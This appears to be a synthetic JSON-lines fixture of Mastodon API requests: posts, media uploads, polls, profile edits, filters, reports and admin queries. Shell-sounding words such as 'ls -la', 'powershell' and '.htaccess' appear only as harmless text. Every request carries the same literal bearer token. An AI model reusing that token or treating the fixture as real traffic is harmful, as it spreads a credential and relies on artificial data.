{"method": "GET", "target": "/api/v2/search?q=https%3A%2F%2Fremote.example%2Fusers%2Falice%2Fnotes%2F1&resolve=true", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/accounts/lookup?acct=alice%40remote.example", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "POST", "target": "/api/v2/media", "headers": ["Host: example.com", "Content-Length: 478", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: multipart/form-data; boundary=91bf3ec709c5454aa02bd19ca7fd0fbc"], "body": "--91bf3ec709c5454aa02bd19ca7fd0fbc\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Notes python3.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0010\u0000\u0000\u0000\u0010\b\u0002\u0000\u0000\u0000\ufffd\ufffdh6\u0000\u0000\u0000\u0017IDATx\ufffdc\ufffd\ufffd\ufffd@\u0012\"M\ufffd\ufffd\ufffdQ\rCJ\u0003\u0000\ufffdu\u007f\u0010\u0019i$\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n--91bf3ec709c5454aa02bd19ca7fd0fbc\r\nContent-Disposition: form-data; name=\"description\"\r\n\r\nScreenshot of python3 in a terminal\r\n--91bf3ec709c5454aa02bd19ca7fd0fbc\r\nContent-Disposition: form-data; name=\"focus\"\r\n\r\n0.0,0.0\r\n--91bf3ec709c5454aa02bd19ca7fd0fbc--\r\n"}
{"method": "PUT", "target": "/api/v1/media/117589416080454640", "headers": ["Host: example.com", "Content-Length: 40", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "description=A+screenshot+showing+python3"}
{"method": "POST", "target": "/api/v2/media", "headers": ["Host: example.com", "Content-Length: 480", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: multipart/form-data; boundary=b51aef01d0a24243aacb5ca58a07a3c9"], "body": "--b51aef01d0a24243aacb5ca58a07a3c9\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Shell ls -la.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0010\u0000\u0000\u0000\u0010\b\u0002\u0000\u0000\u0000\ufffd\ufffdh6\u0000\u0000\u0000\u0017IDATx\ufffdc\ufffd\ufffd\ufffd@\u0012\"M\ufffd\ufffd\ufffdQ\rCJ\u0003\u0000\ufffdu\u007f\u0010\u0019i$\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n--b51aef01d0a24243aacb5ca58a07a3c9\r\nContent-Disposition: form-data; name=\"description\"\r\n\r\nScreenshot of powershell in a terminal\r\n--b51aef01d0a24243aacb5ca58a07a3c9\r\nContent-Disposition: form-data; name=\"focus\"\r\n\r\n0.0,0.0\r\n--b51aef01d0a24243aacb5ca58a07a3c9--\r\n"}
{"method": "PUT", "target": "/api/v1/media/117589416087224032", "headers": ["Host: example.com", "Content-Length: 43", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "description=A+screenshot+showing+powershell"}
{"method": "PUT", "target": "/api/v1/media/117589416092568321", "headers": ["Host: example.com", "Content-Length: 39", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "description=A+screenshot+showing+ls+-la"}
{"method": "POST", "target": "/api/v2/media", "headers": ["Host: example.com", "Content-Length: 484", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: multipart/form-data; boundary=5d3eb955c0434b74bef9478a9c5396b5"], "body": "--5d3eb955c0434b74bef9478a9c5396b5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Example .htaccess.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0010\u0000\u0000\u0000\u0010\b\u0002\u0000\u0000\u0000\ufffd\ufffdh6\u0000\u0000\u0000\u0017IDATx\ufffdc\ufffd\ufffd\ufffd@\u0012\"M\ufffd\ufffd\ufffdQ\rCJ\u0003\u0000\ufffdu\u007f\u0010\u0019i$\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n--5d3eb955c0434b74bef9478a9c5396b5\r\nContent-Disposition: form-data; name=\"description\"\r\n\r\nScreenshot of .htaccess in a terminal\r\n--5d3eb955c0434b74bef9478a9c5396b5\r\nContent-Disposition: form-data; name=\"focus\"\r\n\r\n0.0,0.0\r\n--5d3eb955c0434b74bef9478a9c5396b5--\r\n"}
{"method": "PUT", "target": "/api/v1/media/117589416097237149", "headers": ["Host: example.com", "Content-Length: 42", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "description=A+screenshot+showing+.htaccess"}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 83", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded", "Idempotency-Key: 2a3fad6fe88f49499c3ec2aabef6ae12"], "body": "status=Today%3A+river+walk+%23python3&visibility=public&language=en&sensitive=false"}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 117", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/json; charset=utf-8", "Idempotency-Key: f2b6ecb907c44769a068fd199e3bea4b"], "body": "{\"status\": \"More about river walk\", \"spoiler_text\": \"river walk details\", \"visibility\": \"unlisted\", \"language\": \"en\"}"}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 115", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded", "Idempotency-Key: 14f8af228405444e9a6ba7c13daf88be"], "body": "status=Today%3A+python3+%23python3&visibility=public&language=en&sensitive=false&media_ids%5B%5D=117589416080454640"}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 111", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/json; charset=utf-8", "Idempotency-Key: cd7a83310465404c89bc54c8330183e1"], "body": "{\"status\": \"More about python3\", \"spoiler_text\": \"python3 details\", \"visibility\": \"unlisted\", \"language\": \"en\"}"}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 118", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded", "Idempotency-Key: f35e02f998684f42b36e8aea999f7488"], "body": "status=Today%3A+powershell+%23python3&visibility=public&language=en&sensitive=false&media_ids%5B%5D=117589416087224032"}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 117", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/json; charset=utf-8", "Idempotency-Key: c16a4009d56a4aefa24cc368b8ef1385"], "body": "{\"status\": \"More about powershell\", \"spoiler_text\": \"powershell details\", \"visibility\": \"unlisted\", \"language\": \"en\"}"}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 114", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded", "Idempotency-Key: 9c5c8eec473d4748a246603ad4461232"], "body": "status=Today%3A+ls+-la+%23python3&visibility=public&language=en&sensitive=false&media_ids%5B%5D=117589416092568321"}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 109", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/json; charset=utf-8", "Idempotency-Key: eed10216ad8442bf8eca2b0504c6c5a8"], "body": "{\"status\": \"More about ls -la\", \"spoiler_text\": \"ls -la details\", \"visibility\": \"unlisted\", \"language\": \"en\"}"}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 117", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded", "Idempotency-Key: d4c119baa943406787c967f827cfd7e4"], "body": "status=Today%3A+.htaccess+%23python3&visibility=public&language=en&sensitive=false&media_ids%5B%5D=117589416097237149"}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 115", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/json; charset=utf-8", "Idempotency-Key: fbe1f4c915b04fa28eacf8cd27e94b18"], "body": "{\"status\": \"More about .htaccess\", \"spoiler_text\": \".htaccess details\", \"visibility\": \"unlisted\", \"language\": \"en\"}"}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 228", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "status=Which+do+you+use%3F&poll%5Boptions%5D%5B%5D=python3&poll%5Boptions%5D%5B%5D=powershell&poll%5Boptions%5D%5B%5D=ls+-la&poll%5Boptions%5D%5B%5D=.htaccess&poll%5Bexpires_in%5D=86400&poll%5Bmultiple%5D=false&visibility=public"}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 90", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "status=%40bob+python3+or+powershell%3F&in_reply_to_id=117589416132420900&visibility=direct"}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 100", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/json; charset=utf-8"], "body": "{\"status\": \"Thoughts on ls -la\", \"poll\": {\"options\": [\"python3\", \"powershell\"], \"expires_in\": 3600}}"}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 88", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/json; charset=utf-8"], "body": "{\"status\": \"Scheduled post about .htaccess\", \"scheduled_at\": \"2030-01-01T10:00:00.000Z\"}"}
{"method": "PUT", "target": "/api/v1/statuses/117589416132420900", "headers": ["Host: example.com", "Content-Length: 114", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/json; charset=utf-8"], "body": "{\"status\": \"Which one do you use? python3, powershell, ls -la or .htaccess\", \"spoiler_text\": \"\", \"language\": \"en\"}"}
{"method": "GET", "target": "/api/v1/statuses/117589416132420900/context", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/statuses/117589416132420900/source", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/statuses/117589416132420900/history", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/statuses/117589416132420900/favourited_by", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/statuses/117589416132420900/reblogged_by", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "POST", "target": "/api/v1/statuses/117589416132420900/favourite", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "POST", "target": "/api/v1/statuses/117589416132420900/reblog", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "POST", "target": "/api/v1/statuses/117589416132420900/bookmark", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "POST", "target": "/api/v1/statuses/117589416132420900/pin", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "POST", "target": "/api/v1/statuses/117589416132420900/unreblog", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "POST", "target": "/api/v1/statuses/117589416132420900/unpin", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "POST", "target": "/api/v1/statuses/117589416132420900/translate", "headers": ["Host: example.com", "Content-Length: 7", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "lang=en"}
{"method": "PATCH", "target": "/api/v1/accounts/update_credentials", "headers": ["Host: example.com", "Content-Length: 1170", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: multipart/form-data; boundary=1ce86dc4368a42cfa98a3b4f593e0157"], "body": "--1ce86dc4368a42cfa98a3b4f593e0157\r\nContent-Disposition: form-data; name=\"display_name\"\r\n\r\nAdmin python3\r\n--1ce86dc4368a42cfa98a3b4f593e0157\r\nContent-Disposition: form-data; name=\"note\"\r\n\r\nWriting about powershell, ls -la and .htaccess\r\n--1ce86dc4368a42cfa98a3b4f593e0157\r\nContent-Disposition: form-data; name=\"fields_attributes[0][name]\"\r\n\r\nShell\r\n--1ce86dc4368a42cfa98a3b4f593e0157\r\nContent-Disposition: form-data; name=\"fields_attributes[0][value]\"\r\n\r\nls -la\r\n--1ce86dc4368a42cfa98a3b4f593e0157\r\nContent-Disposition: form-data; name=\"fields_attributes[1][name]\"\r\n\r\nBlog\r\n--1ce86dc4368a42cfa98a3b4f593e0157\r\nContent-Disposition: form-data; name=\"fields_attributes[1][value]\"\r\n\r\nhttps://example.org/python3\r\n--1ce86dc4368a42cfa98a3b4f593e0157\r\nContent-Disposition: form-data; name=\"source[language]\"\r\n\r\nen\r\n--1ce86dc4368a42cfa98a3b4f593e0157\r\nContent-Disposition: form-data; name=\"source[privacy]\"\r\n\r\npublic\r\n--1ce86dc4368a42cfa98a3b4f593e0157\r\nContent-Disposition: form-data; name=\"avatar\"; filename=\"Notes python3.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0010\u0000\u0000\u0000\u0010\b\u0002\u0000\u0000\u0000\ufffd\ufffdh6\u0000\u0000\u0000\u0017IDATx\ufffdc\ufffd\ufffd\ufffd@\u0012\"M\ufffd\ufffd\ufffdQ\rCJ\u0003\u0000\ufffdu\u007f\u0010\u0019i$\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n--1ce86dc4368a42cfa98a3b4f593e0157--\r\n"}
{"method": "PATCH", "target": "/api/v1/accounts/update_credentials", "headers": ["Host: example.com", "Content-Length: 146", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "display_name=Admin+.htaccess&note=python3+and+powershell&fields_attributes%5B0%5D%5Bname%5D=python3&fields_attributes%5B0%5D%5Bvalue%5D=powershell"}
{"method": "POST", "target": "/api/v1/lists", "headers": ["Host: example.com", "Content-Length: 41", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "title=python3+friends&replies_policy=list"}
{"method": "PUT", "target": "/api/v1/lists/1", "headers": ["Host: example.com", "Content-Length: 27", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "title=powershell+and+ls+-la"}
{"method": "POST", "target": "/api/v1/accounts/117589325674471006/follow", "headers": ["Host: example.com", "Content-Length: 12", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "reblogs=true"}
{"method": "POST", "target": "/api/v1/lists/1/accounts", "headers": ["Host: example.com", "Content-Length: 36", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "account_ids%5B%5D=117589325674471006"}
{"method": "GET", "target": "/api/v1/timelines/list/1", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "POST", "target": "/api/v2/filters", "headers": ["Host: example.com", "Content-Length: 267", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "title=python3+spam&context%5B%5D=home&context%5B%5D=public&filter_action=warn&keywords_attributes%5B%5D%5Bkeyword%5D=ls+-la&keywords_attributes%5B%5D%5Bkeyword%5D=.htaccess&keywords_attributes%5B%5D%5Bwhole_word%5D=true&keywords_attributes%5B%5D%5Bwhole_word%5D=false"}
{"method": "GET", "target": "/api/v1/accounts/verify_credentials", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 42", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "status=Plain+words+today&visibility=public"}
{"method": "POST", "target": "/api/v2/filters", "headers": ["Host: example.com", "Content-Length: 267", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "title=python3+spam&context%5B%5D=home&context%5B%5D=public&filter_action=warn&keywords_attributes%5B%5D%5Bkeyword%5D=ls+-la&keywords_attributes%5B%5D%5Bwhole_word%5D=true&keywords_attributes%5B%5D%5Bkeyword%5D=.htaccess&keywords_attributes%5B%5D%5Bwhole_word%5D=false"}
{"method": "POST", "target": "/api/v2/filters/1/keywords", "headers": ["Host: example.com", "Content-Length: 34", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "keyword=powershell&whole_word=true"}
{"method": "PUT", "target": "/api/v2/filters/1", "headers": ["Host: example.com", "Content-Length: 46", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/json; charset=utf-8"], "body": "{\"title\": \"python3 spam\", \"context\": [\"home\"]}"}
{"method": "POST", "target": "/api/v1/tags/python3/follow", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "POST", "target": "/api/v1/featured_tags", "headers": ["Host: example.com", "Content-Length: 12", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "name=python3"}
{"method": "POST", "target": "/api/v1/accounts/117589325674471006/note", "headers": ["Host: example.com", "Content-Length: 59", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "comment=Knows+python3%2C+powershell%2C+ls+-la+and+.htaccess"}
{"method": "POST", "target": "/api/v1/accounts/117589325674471006/endorse", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "POST", "target": "/api/v1/markers", "headers": ["Host: example.com", "Content-Length: 41", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "home%5Blast_read_id%5D=117589418035558426"}
{"method": "GET", "target": "/api/v1/accounts/familiar_followers?id%5B%5D=117589325674471006", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/accounts/lookup?acct=alice%40remote.example", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "POST", "target": "/api/v1/accounts/117589371958209726/follow", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/accounts/117589371958209726/statuses", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 78", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "status=%40alice%40remote.example+thanks+for+the+python3+tips&visibility=public"}
{"method": "POST", "target": "/api/v1/reports", "headers": ["Host: example.com", "Content-Length: 110", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "account_id=117589325674471006&category=spam&comment=Posting+python3+and+powershell+malware+links&forward=false"}
{"method": "GET", "target": "/api/v1/admin/accounts?local=true&username=python3&display_name=powershell&email=ls+-la&ip=192.0.2.1", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/admin/accounts?origin=local&status=active&username=.htaccess", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
